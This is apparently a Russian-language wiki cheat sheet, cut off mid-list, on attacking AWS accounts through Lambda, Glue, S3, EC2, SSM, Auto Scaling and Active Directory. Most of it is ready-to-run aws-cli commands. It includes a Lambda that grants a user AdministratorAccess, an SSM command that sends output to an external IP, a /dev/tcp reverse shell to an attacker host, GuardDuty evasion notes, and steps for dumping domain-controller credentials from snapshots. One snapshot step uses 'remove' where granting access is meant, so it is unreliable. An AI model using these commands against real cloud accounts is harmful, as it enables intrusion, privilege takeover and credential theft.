&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
